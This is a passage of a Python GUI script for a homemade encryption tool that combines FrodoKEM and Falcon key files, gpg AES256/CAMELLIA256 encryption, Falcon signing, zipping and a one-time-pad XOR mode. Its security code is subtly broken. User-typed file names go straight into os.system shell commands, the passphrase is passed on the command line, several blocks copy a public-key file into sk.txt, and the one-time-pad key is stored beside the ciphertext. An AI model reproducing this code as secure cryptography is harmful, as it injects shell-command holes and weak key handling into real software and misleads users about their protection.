currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("sk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # python SignFile with file signfile = ("python SignFile.py " + two + " " + two + ".sig" ) os.system( signfile ) #pause = (input("hit enter to continue: ")) # copy ct to msg directory filenamepk = ("ct" + ".txt") # copy gpg to msg directory filenamepk1 = (two + ".gpg") # copy sig to msg directory filenamepk2 = (two + ".sig") #create zipfile # create a ZipFile object zipObj = ZipFile(two + ".zip", "w") # Add multiple files to the zip zipObj.write("ct" + ".txt") zipObj.write(two + ".gpg") zipObj.write(two + ".sig") # close the Zip File zipObj.close() # copy zipObj to msg directory currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".zip") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = (two + ".zip") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #delete ct os.remove("ct.txt") #delete two filename = (two) os.remove(filename) #delete two + .gpg filename = (two + ".gpg") os.remove(filename) #delete two + .sig filename = (two + ".sig") os.remove(filename) #delete two + .zip filename = (two + ".zip") os.remove(filename) os.execl(sys.executable, sys.executable, *sys.argv) #clear screen #print("\033[H\033[J") def EncryptCAMELLIA256(): one = e.get() two = e1.get() three = e2.get() #clear screen print("\033[H\033[J") print("Menu 7 has been selected") print("*** Encrypting Message") # copy two from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two) destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) # copy sk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) #pause = (input("hit enter to continue: ")) temp = subprocess.check_output('python enc1.py') symfile = ("gpg --yes --batch --passphrase=" + str(temp) + " --symmetric --cipher-algo CAMELLIA256 " + two ) print (symfile) os.system(symfile) #pause = (input("hit enter to continue: ")) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # copy sk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("sk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # python SignFile with file signfile = ("python SignFile.py " + two + " " + two + ".sig" ) os.system( signfile ) #pause = (input("hit enter to continue: ")) # copy ct to msg directory filenamepk = ("ct" + ".txt") # copy gpg to msg directory filenamepk1 = (two + ".gpg") # copy sig to msg directory filenamepk2 = (two + ".sig") #create zipfile # create a ZipFile object zipObj = ZipFile(two + ".zip", "w") # Add multiple files to the zip zipObj.write("ct" + ".txt") zipObj.write(two + ".gpg") zipObj.write(two + ".sig") # close the Zip File zipObj.close() # copy zipObj to msg directory currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".zip") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = (two + ".zip") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #delete ct os.remove("ct.txt") #delete two filename = (two) os.remove(filename) #delete two + .gpg filename = (two + ".gpg") os.remove(filename) #delete two + .sig filename = (two + ".sig") os.remove(filename) #delete two + .zip filename = (two + ".zip") os.remove(filename) os.execl(sys.executable, sys.executable, *sys.argv) #clear screen #print("\033[H\033[J") def Decrypt(): one = e.get() two = e1.get() three = e2.get() #clear screen print("\033[H\033[J") print("Menu 2 has been selected") # copy two + .zip from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two + ".zip" ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".zip") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # Create a ZipFile Object and load sample.zip in it with ZipFile(two + ".zip", 'r') as zipObj: # Extract all the contents of zip file in different directory zipObj.extractall("MESSAGE") print("*** Decrypting Message") #delete two + .zip filename = (two + ".zip") os.remove(filename) # copy ct.txt from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( "ct.txt" ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("ct.txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # copy two.gpg from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two + ".gpg") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".gpg") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # copy two.sig from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two + ".sig" ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".sig") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # copy sk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("sk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #pause = (input("hit enter to continue: ")) #os.system('python dec.py') #symfile = ("gpg -o " + two + " -d " + two + ".gpg") os.system('python Dec1.py') temp = subprocess.check_output('python Dec1.py') temp= str(temp) symfile = ("gpg --yes --batch --passphrase=" + temp + " -o " + two + " -d " + two + ".gpg") print(symfile) #pause = (input("hit enter to continue: ")) os.system(symfile) #pause = (input("hit enter to continue: ")) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # copy sk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # python VerifyFile with file signfile = ("python VerifyFile.py " + two + " " + two + ".sig" ) os.system( signfile ) #pause = (input("hit enter to continue: ")) # copy two to msg directory currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = (two) destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #delete ct os.remove("ct.txt") #delete two filename = (two) os.remove(filename) #delete two + .gpg filename = (two + ".gpg") os.remove(filename) #delete two + .sig filename = (two + ".sig") os.remove(filename) os.execl(sys.executable, sys.executable, *sys.argv) #clear screen #print("\033[H\033[J") def KeyGenFrodo(): one = e.get() two = e1.get() three = e2.get() #clear screen print("\033[H\033[J") print("*** Generating Keys") print("Menu 3 has been selected") os.system('python keygen.py') # copy pk.txt to frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(destination, source) # copy sk.txt to frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("sk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(destination, source) os.execl(sys.executable, sys.executable, *sys.argv) #pause = (input("hit enter to continue: ")) #print("\033[H\033[J") def KeyGenFalcon(): one = e.get() two = e1.get() three = e2.get() #clear screen print("\033[H\033[J") print("*** Generating Keys") #clear screen print("\033[H\033[J") print("Menu 4 has been selected") os.system('python keygen.py') # copy pk.txt to falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(destination, source) # copy sk.txt to falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("sk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(destination, source) os.execl(sys.executable, sys.executable, *sys.argv) #pause = (input("hit enter to continue: ")) #print("\033[H\033[J") def OTPEncryptAES256(): one = e.get() two = e1.get() three = e2.get() #clear screen print("\033[H\033[J") print("Menu 5 has been selected") print("*** OTP Encrypting Message") # copy two from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two) destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) #pause = (input("hit enter to continue: ")) symfile = ("python xorenc.py " + two + " keyotp.txt " + two + ".otp" ) print (symfile) os.system(symfile) #pause = (input("hit enter to continue: ")) # copy .otp from to message directory currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".otp") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = (two + ".otp") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) filenamepkotp = (two + ".otp") # copy keyotp.txt to msg directory currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("keyotp.txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("keyotp.txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) filenamepkotpkey = ("keyotp.txt") #delete two filename = (two) os.remove(filename) #delete .otp os.remove(two + ".otp") #delete keyotp.txt filename = ("keyotp.txt") os.remove(filename) #encrypt filenamepkotp two = filenamepkotp ### copy two from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two) destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) # copy sk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) #pause = (input("hit enter to continue: ")) temp = subprocess.check_output('python enc1.py') symfile = ("gpg --yes --batch --passphrase=" + str(temp) + " --symmetric --cipher-algo AES256 " + two ) print (symfile) os.system(symfile) #pause = (input("hit enter to continue: ")) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # copy sk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("sk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # python SignFile with file signfile = ("python SignFile.py " + two + " " + two + ".sig" ) os.system( signfile ) #pause = (input("hit enter to continue: ")) # copy ct to msg directory filenamepk = ("ct" + ".txt") # copy gpg to msg directory filenamepk1 = (two + ".gpg") # copy sig to msg directory filenamepk2 = (two + ".sig") #create zipfile # create a ZipFile object zipObj = ZipFile(two + ".zip", "w") # Add multiple files to the zip zipObj.write("ct" + ".txt") zipObj.write(two + ".gpg") zipObj.write(two + ".sig") # close the Zip File zipObj.close() # copy zipObj to msg directory currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".zip") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = (two + ".zip") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #delete ct os.remove("ct.txt") #delete two filename = (two) os.remove(filename) #delete two + .gpg filename = (two + ".gpg") os.remove(filename) #delete two + .sig filename = (two + ".sig") os.remove(filename) #delete two + .zip filename = (two + ".zip") os.remove(filename) two = filenamepkotpkey ### copy two from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two) destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) # copy sk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) #pause = (input("hit enter to continue: ")) temp = subprocess.check_output('python enc1.py') symfile = ("gpg --yes --batch --passphrase=" + str(temp) + " --symmetric --cipher-algo AES256 " + two ) print (symfile) os.system(symfile) #pause = (input("hit enter to continue: ")) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # copy sk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("sk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # python SignFile with file signfile = ("python SignFile.py " + two + " " + two + ".sig" ) os.system( signfile ) #pause = (input("hit enter to continue: ")) # copy ct to msg directory filenamepk = ("ct" + ".txt") # copy gpg to msg directory filenamepk1 = (two + ".gpg") # copy sig to msg directory filenamepk2 = (two + ".sig") #create zipfile # create a ZipFile object zipObj = ZipFile(two + ".zip", "w") # Add multiple files to the zip zipObj.write("ct" + ".txt") zipObj.write(two + ".gpg") zipObj.write(two + ".sig") # close the Zip File zipObj.close() # copy zipObj to msg directory currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".zip") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = (two + ".zip") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #delete ct os.remove("ct.txt") #delete two filename = (two) os.remove(filename) #delete two + .gpg filename = (two + ".gpg") os.remove(filename) #delete two + .sig filename = (two + ".sig") os.remove(filename) #delete two + .zip filename = (two + ".zip") os.remove(filename) os.execl(sys.executable, sys.executable, *sys.argv) #pause = (input("hit enter to continue: ")) #clear screen #print("\033[H\033[J") def OTPEncryptCAMELLIA256(): one = e.get() two = e1.get() three = e2.get() #clear screen print("\033[H\033[J") print("Menu 8 has been selected") print("*** OTP Encrypting Message") # copy two from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two) destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) #pause = (input("hit enter to continue: ")) symfile = ("python xorenc.py " + two + " keyotp.txt " + two + ".otp" ) print (symfile) os.system(symfile) #pause = (input("hit enter to continue: ")) # copy .otp from to message directory currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".otp") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = (two + ".otp") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) filenamepkotp = (two + ".otp") # copy keyotp.txt to msg directory currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("keyotp.txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("keyotp.txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) filenamepkotpkey = ("keyotp.txt") #delete two filename = (two) os.remove(filename) #delete .otp os.remove(two + ".otp") #delete keyotp.txt filename = ("keyotp.txt") os.remove(filename) #encrypt filenamepkotp two = filenamepkotp ### copy two from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two) destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) # copy sk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) #pause = (input("hit enter to continue: ")) temp = subprocess.check_output('python enc1.py') symfile = ("gpg --yes --batch --passphrase=" + str(temp) + " --symmetric --cipher-algo CAMELLIA256 " + two ) print (symfile) os.system(symfile) #pause = (input("hit enter to continue: ")) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # copy sk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("sk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # python SignFile with file signfile = ("python SignFile.py " + two + " " + two + ".sig" ) os.system( signfile ) #pause = (input("hit enter to continue: ")) # copy ct to msg directory filenamepk = ("ct" + ".txt") # copy gpg to msg directory filenamepk1 = (two + ".gpg") # copy sig to msg directory filenamepk2 = (two + ".sig") #create zipfile # create a ZipFile object zipObj = ZipFile(two + ".zip", "w") # Add multiple files to the zip zipObj.write("ct" + ".txt") zipObj.write(two + ".gpg") zipObj.write(two + ".sig") # close the Zip File zipObj.close() # copy zipObj to msg directory currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".zip") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = (two + ".zip") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #delete ct os.remove("ct.txt") #delete two filename = (two) os.remove(filename) #delete two + .gpg filename = (two + ".gpg") os.remove(filename) #delete two + .sig filename = (two + ".sig") os.remove(filename) #delete two + .zip filename = (two + ".zip") os.remove(filename) two = filenamepkotpkey ### copy two from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two) destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) # copy sk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) #pause = (input("hit enter to continue: ")) temp = subprocess.check_output('python enc1.py') symfile = ("gpg --yes --batch --passphrase=" + str(temp) + " --symmetric --cipher-algo CAMELLIA256 " + two ) print (symfile) os.system(symfile) #pause = (input("hit enter to continue: ")) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # copy sk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("sk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # python SignFile with file signfile = ("python SignFile.py " + two + " " + two + ".sig" ) os.system( signfile ) #pause = (input("hit enter to continue: ")) # copy ct to msg directory filenamepk = ("ct" + ".txt") # copy gpg to msg directory filenamepk1 = (two + ".gpg") # copy sig to msg directory filenamepk2 = (two + ".sig") #create zipfile # create a ZipFile object zipObj = ZipFile(two + ".zip", "w") # Add multiple files to the zip zipObj.write("ct" + ".txt") zipObj.write(two + ".gpg") zipObj.write(two + ".sig") # close the Zip File zipObj.close() # copy zipObj to msg directory currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".zip") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = (two + ".zip") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #delete ct os.remove("ct.txt") #delete two filename = (two) os.remove(filename) #delete two + .gpg filename = (two + ".gpg") os.remove(filename) #delete two + .sig filename = (two + ".sig") os.remove(filename) #delete two + .zip filename = (two + ".zip") os.remove(filename) os.execl(sys.executable, sys.executable, *sys.argv) #pause = (input("hit enter to continue: ")) #clear screen print("\033[H\033[J") def OTPDecrypt(): one = e.get() two = e1.get() three = e2.get() #clear screen print("\033[H\033[J") print("Menu 6 has been selected") print("*** OTP Decrypting Message") twootp = two # copy two + .zip from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two + ".zip" ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".zip") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # Create a ZipFile Object and load sample.zip in it with ZipFile(two + ".zip", 'r') as zipObj: # Extract all the contents 